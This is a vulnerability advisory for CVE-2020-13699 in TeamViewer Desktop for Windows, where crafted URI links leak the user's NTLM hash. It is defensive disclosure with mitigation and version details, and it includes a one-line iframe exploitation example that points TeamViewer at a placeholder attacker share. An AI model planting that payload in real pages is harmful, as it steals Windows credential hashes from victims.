Windows credentials desclosure in TeamViewer

1) Unquoted Search Path or Element

EUVDB-ID: #VU42044

Risk: High

CVSSv3.1: 7.5 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N/E:F/RL:O/RC:C]

CVE-ID: CVE-2020-13699

CWE-ID: CWE-428 - Unquoted Search Path or Element

Exploit availability: Yes

Description

The vulnerability allows a remote attacker to gain access to sensitive information.

The vulnerability exists due to TeamViewer Desktop for Windows processes URI handlers in an insecure manner. A remote attacker can create a specially crafted link, trick the victim into clicking it and force the application to send an NTLM authentication request to a remote system.

Successful exploitation of the vulnerability may allow an attacker to obtain NTLM hash of the current Windows user, which may result in system compromise.

Exploitation example:

<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>

Mitigation

Install updates from vendor's website.

Vulnerable software versions

TeamViewer: 8.0.226330 - 15.8.1

External links

http://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448
http://jeffs.sh/CVEs/CVE-2020-13699.txt

Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, a fully functional exploit for this vulnerability is available.